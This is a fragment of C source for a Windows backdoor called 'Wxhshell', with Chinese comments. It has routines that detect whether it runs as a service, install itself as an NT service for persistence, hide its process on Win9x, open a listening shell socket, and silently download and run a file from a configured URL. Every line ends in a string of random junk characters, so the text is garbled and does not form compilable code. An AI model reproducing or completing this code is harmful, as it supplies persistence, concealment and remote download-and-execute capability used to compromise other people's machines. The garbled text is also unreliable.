DWORD PebBaseAddress; ^dWa;m]l
DWORD AffinityMask; jVe1b1rt~3
DWORD BasePriority; bL`TySX
ULONG UniqueProcessId; LENq_@$
ULONG InheritedFromUniqueProcessId; Pm6pv;WK
} PROCESS_BASIC_INFORMATION; K-)]
1BG
(XTG8W sN
PROCNTQSIP NtQueryInformationProcess; k=$TGqQY?
; nfdGB
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,L2ZinU:
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l\H=m3Bg
d0!5j
HANDLE hProcess; >b}o~F^J
PROCESS_BASIC_INFORMATION pbi; 8Al{+gx@?
C^Yb\N}S
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -m zIT4
if(NULL == hInst ) return 0; +HpA:]#Y
tU5zF.%
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'ZF{R3Xu
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4i;{!sT
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0],r0
NG=-NxEcN
if (!NtQueryInformationProcess) return 0; :`#d:.@]o@
QO:!p5^:
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )u&|_&g{}J
if(!hProcess) return 0; d'gfQlDny
nF]W,@u"h
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NN{?z!
xj)F55e?
CloseHandle(hProcess); O`kl\K*R7
3*XNV
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _Ay9p[l
if(hProcess==NULL) return 0; |3b^~?S
r|8d
4
HMODULE hMod; k
.;j
char procName[255]; xIW3={b 3
unsigned long cbNeeded; wU36sCo
~vhE|f
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q$W
O:R*rJ
CloseHandle(hProcess); ,8uqdk-D
wWP}C D
if(strstr(procName,"services")) return 1; // 以服务启动 &|1<v<I5
gs[uD5oo<
return 0; // 注册表启动 2jItq2.>
} 7F7{)L
J4C.+![!Ah
// 主模块 W(Fv
l
int StartWxhshell(LPSTR lpCmdLine) ^)S;xb9
{ Q8tL[>Xt
SOCKET wsl; >>)b'c
BOOL val=TRUE; O63<AY@
int port=0; 2wg5#i
struct sockaddr_in door; )EuvRLo{S7
uAq~=)F>,
if(wscfg.ws_autoins) Install(); ua$GNm
f}ji?p
port=atoi(lpCmdLine); {4}yKjW%z
=ho}oL,ZO
if(port<=0) port=wscfg.ws_port; lv<*7BCp
ek\ xx
WSADATA data; u%KTNa0
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xrz,\eTb
2;`1h[,-^
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; b5I I/Y
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )9G[dDeC
door.sin_family = AF_INET; N)| yu1S
door.sin_addr.s_addr = inet_addr("127.0.0.1"); {\"x3;3!6
door.sin_port = htons(port); ^7cGq+t
\ZFGw&yN
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KP^V>9q
closesocket(wsl); `2WFk8) F
return 1; )[6U^j4
} .V/Rfq
.GXBc
if(listen(wsl,2) == INVALID_SOCKET) { =[{i{x|Qz
closesocket(wsl); 33x{CY15
return 1; bHYy }weZ
} X/!o\yyT
Wxhshell(wsl); 6 7.+
.2
WSACleanup(); [Td4K.c
`pa!~|p
return 0; {hjhL: pg
~"H,/m%2o
} {SPq$B_VR
)p0^zv{
// 以NT服务方式启动 l`{\"#4
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CS5?Ti6
{ 'RR~7h
DWORD status = 0; (,Q7@s
DWORD specificError = 0xfffffff; ;-lXU0}&
sN*N&XG
serviceStatus.dwServiceType = SERVICE_WIN32; . B9iLI
serviceStatus.dwCurrentState = SERVICE_START_PENDING; LVfF[
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DB|Y
serviceStatus.dwWin32ExitCode = 0; \)N9aV
serviceStatus.dwServiceSpecificExitCode = 0; 3?9IJ5p
serviceStatus.dwCheckPoint = 0; py!|\00}
serviceStatus.dwWaitHint = 0; `Bp.RXsd*
:yr+vcD?
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |Q6.29 9
if (hServiceStatusHandle==0) return; *8Xh(`
Mj7
~O0 $Suv
status = GetLastError(); L|:`^M+^w
if (status!=NO_ERROR) .-c4wm}
{ =E4LRKn
serviceStatus.dwCurrentState = SERVICE_STOPPED; 7
:x fPx
serviceStatus.dwCheckPoint = 0; "Mn6U-
serviceStatus.dwWaitHint = 0; H>IMf/%5N-
serviceStatus.dwWin32ExitCode = status; y/cvQY0pU
serviceStatus.dwServiceSpecificExitCode = specificError; -t'jNR'
SetServiceStatus(hServiceStatusHandle, &serviceStatus); SCHP L.n
return; vn!3l1\+J
} 5h-SCB>P
Tod&&T'UW
serviceStatus.dwCurrentState = SERVICE_RUNNING; O)*+="Rg
serviceStatus.dwCheckPoint = 0; O!#g<`r{K
serviceStatus.dwWaitHint = 0; +H-6e P
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9G#n 0&wRJ
} DDP/DD;n}r
xd?f2=dd~h
// 处理NT服务事件,比如:启动、停止 W)2p@j59A
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y-_`23x`
{ R6Km\N
switch(fdwControl) m@2QnA[4
{ KNvZm;Q6
case SERVICE_CONTROL_STOP: gnOt+W8
serviceStatus.dwWin32ExitCode = 0; ^A$Zw+P
serviceStatus.dwCurrentState = SERVICE_STOPPED; 5|j<`()H
:
serviceStatus.dwCheckPoint = 0; U0y% u
serviceStatus.dwWaitHint = 0; Eu d*_>|
{ /wEhVR`=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ys!82M$g
} ^e _hLX\SW
return; x7&B$.>3
case SERVICE_CONTROL_PAUSE: @s;;O\
serviceStatus.dwCurrentState = SERVICE_PAUSED; qZtzO2Mt
break; !mJ"gg
case SERVICE_CONTROL_CONTINUE: v!6
c0a
serviceStatus.dwCurrentState = SERVICE_RUNNING; P6-s0]-g
break; DS(}<HK{
case SERVICE_CONTROL_INTERROGATE: 8B
K(4?gC
break; qFCOUl
}; xw,IJ/E$1
SetServiceStatus(hServiceStatusHandle, &serviceStatus); .+3g*Dv{&
} ?W?c1>
(ylTp]~mR-
// 标准应用程序主函数 ooj,/IEQ
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3tIVXtUCUk
{ @]%IK(|
&tLgG4pd
// 获取操作系统版本 #uG%j
OsIsNt=GetOsVer(); 6$Xzpg(o
GetModuleFileName(NULL,ExeFile,MAX_PATH); mI-]/:
{M4gF8(M
// 从命令行安装 UT~4x|b:O
if(strpbrk(lpCmdLine,"iI")) Install(); [I,Z2G,Jb
QC
OM_$ y
// 下载执行文件 {tuYs:
if(wscfg.ws_downexe) { #4Rx]zW^%
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1QcNp(MO
WinExec(wscfg.ws_filenam,SW_HIDE); dk#k bG;
} ]___M
!&y8@MD15
if(!OsIsNt) { ~*&H$6NJS
// 如果时win9x,隐藏进程并且设置为注册表启动 NqazpB*
HideProc(); w7.V6S$Ga
StartWxhshell(lpCmdLine); HSE!x_$
} +ZaSM~
else B
dj!ia;H
if(StartFromService()) RNEp4x
// 以服务方式启动 !21FR*
StartServiceCtrlDispatcher(DispatchTable); ,GbR!j@6
else UJAv`yjG
// 普通方式启动 1y@i}<9F
StartWxhshell(lpCmdLine); ;40/yl3r3[
Fx_z 6a
return 0; sk<3`x+
}